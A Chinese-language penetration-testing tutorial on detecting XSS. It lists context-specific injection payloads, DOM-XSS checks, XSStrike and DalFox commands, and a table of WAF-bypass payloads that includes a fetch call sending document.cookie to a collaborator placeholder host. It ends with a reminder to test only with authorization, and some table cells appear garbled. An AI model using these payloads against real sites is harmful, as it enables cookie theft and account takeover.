本文目录导读:

检测弹窗型XSS(通常指基于DOM的XSS,通过alert、prompt、confirm等弹窗函数验证)主要分为自动化扫描和手动测试两种方式。
由于现实场景中alert常被浏览器安全策略或广告拦截器屏蔽(且容易被安全设备检测),实际渗透中常使用非弹窗Payload(如print()、console.log)或无弹窗验证(如监听DOM变化、读取Cookie)。
以下是详细的检测方法:
核心检测思路
弹窗XSS的本质是攻击者输入的<script>标签或onerror等事件处理器中的JavaScript代码被浏览器执行,检测的核心在于寻找用户输入 -> 进入HTML上下文 -> 未被转义/过滤 -> 代码执行的路径。
手动检测步骤(白盒与黑盒)
寻找输入点
所有可能由用户控制的输入点都是潜在靶点:
- URL参数:
?search=xxx、#hash - 表单输入:搜索框、评论框、用户名、URL输入框
- HTTP头部:
User-Agent、Referer、Cookie(如果页面读取并输出) - 文件上传:文件名、文件内容(如SVG文件中的脚本)
使用“无害”的探测字符
立即使用alert(1)容易被WAF拦截或引起管理员注意,建议使用非破坏性的测试字符:
- HTML实体探测:
< > " ' &- 观察页面是否显示了这些字符(说明被转义),还是在查看源代码时形成了
<script>标签(说明未被过滤)。
- 观察页面是否显示了这些字符(说明被转义),还是在查看源代码时形成了
- JS执行探测(推荐):
"'+<>(组合字符,测试过滤规则)javascript:alert(1)(测试伪协议)<img src=x onerror=alert(1)>(经典通用Payload)<svg onload=alert(1)>(绕过某些过滤)
判断反射点类型
根据输入输出位置,选择不同的Payload:
- 输出在HTML标签之间:
- 输入:
<script>alert(1)</script> - 预期结果:弹窗。
- 输入:
- 输出在HTML标签的属性内(如
<input value="[输入]">):- 输入:
" onfocus=alert(1) autofocus " a=" - 预期结果:双引号闭合,插入新属性。
- 输入:
- 输出在JavaScript代码中(如
<script>var x = '[输入]';</script>):- 输入:
'; alert(1); // - 预期结果:闭合引号和语句,执行
alert。
- 输入:
- 输出在
<a>标签的href属性中:- 输入:
javascript:alert(1) - 预期结果:点击链接后弹窗。
- 输入:
使用 print() 代替 alert()
print()(打印页面)是标准JavaScript函数,不会被大多数浏览器安全策略(如Chrome的XSS Auditor已废弃,但现代浏览器仍对alert有严格限制)拦截:
- Payload示例:
<img src=x onerror=print(1)> - 验证方法:执行后你会看到浏览器弹出打印对话框,这说明JavaScript成功执行。
DOM型XSS的特殊检测(重点)
动态页面(如React、Vue、原生JS)常用 innerHTML、document.write、eval、location.hash 等。
- 检测方法:
- 在URL的后面输入:
#<img src=x onerror=alert(1)> - 或者在URL的参数中输入:
"?__proto__[x][y]=..."(检测原型链污染引发XSS的变种)。 - 使用浏览器开发者工具:
- 打开Console面板。
- 修改URL参数,观察是否出现意外的网络请求(如向
evil.com发请求,说明可能执行了new Image().src)。 - 在Sources面板中,搜索
innerHTML、outerHTML、insertAdjacentHTML等API,看是否有用户变量直接拼接进来。
- 在URL的后面输入:
自动化工具检测
常用工具可以快速扫描大量参数,但不要完全依赖工具。
-
Burp Suite Pro(推荐):
- 主动扫描:将请求发送到Active Scanner,它会自动尝试数百种Payload并分析响应是否被渲染。
- 被动扫描:使用
Collaborator(外带检测)功能,检测盲XSS(Blind XSS),即使没有反应,工具也可能检测到页面将输入放入了<script>的非安全位置。
-
XSStrike:
- 专门针对XSS的工具,能自动检测WAF、生成绕过Payload、判断上下文(HTML/JS/属性)。
- 命令示例:
python xsstrike.py -u "http://target.com/search?q=test" - 它会尝试
alert、prompt、console.log等多种方式。
-
DalFox:
- 现代的、基于AST(抽象语法树)分析和模糊测试的工具。
- 它特别擅长检测DOM XSS和绕过WAF。
- 命令示例:
dalfox url http://target.com/?q=test
-
浏览器内置工具扩展(如HackBar、FoxyProxy + Burp):用于手动快速修改参数并发送请求。
特殊场景:绕过WAF/过滤器的检测
如果alert被拦截,说明存在过滤器,以下是一些突破技巧,同时用于检测过滤强度:
| 绕过类型 | 示例Payload | 说明 |
|---|---|---|
| 大小写混写 | <img sRc=x OnError=alert(1)> |
针对黑名单过滤(关键词匹配)。 |
| 双写/关键字拆分 | <scr<script>ipt>alert(1)</scr</script>ipt> |
如果过滤逻辑是删除<script>
|
| 使用HTML实体编码 | <img src=x onerror=alert(1)> |
alert的ASCII码十进制。 |
| 使用Unicode/UTF-8编码 | %u0061%u006c... |
针对WAF的URL解码不一致性。 |
| 多层嵌套 & 组合 | " onclick=alert(1)><img src=x> |
利用多个属性组合绕过过滤。 |
| 使用非标准JS函数 | <img src=x onerror=String.fromCharCode(97,108,101,114,116,40,49,41)> |
String.fromCharCode将ASCII码转为字符串,但此法不会弹窗,只是执行,更简单的是用onerror=prompt(1)(虽然prompt也常被拦截)。 |
| 无弹窗的Payload | <img src=x onerror='fetch("http://[burp_collaborator_url]/?c="+document.cookie)'> |
使用fetch或XMLHttpRequest向外带数据,只要Collaborator收到请求,就证明XSS存在。这是最专业、最隐蔽的检测方式。 |
一个标准的手动检测流程
假设你有一个搜索框 http://test.com/search?q=xxx
- 基础探测:输入
<script>alert(1)</script>,观察是否被拦截(返回空白、403、或弹窗)。 - 查看源码:输入
<test123>,右键“查看页面源代码”,搜索test123。- 情况A:显示为
<test123>(被转义) -> 通常比较安全。 - 情况B:显示为
test123(标签被剥离) -> 可能存在注入点(如<img src=x>)。 - 情况C:显示为
<test123>(被渲染) -> 高危。
- 情况A:显示为
- 确定上下文:如果情况B,尝试
<img src=x onerror=print()>,如果情况C,尝试" onmouseover=print() x="。 - 外带验证(终极确认):如果弹窗未能成功,使用
fetch到你的监听服务器。 - 使用工具兜底:如果你没找到,把请求丢给
XSStrike或DalFox,它们可能会发现你遗漏的编码或DOM位置。
重要提醒:务必在授权环境或自己的靶机上进行这些测试,在未授权的网站上测试弹窗XSS属于违法行为。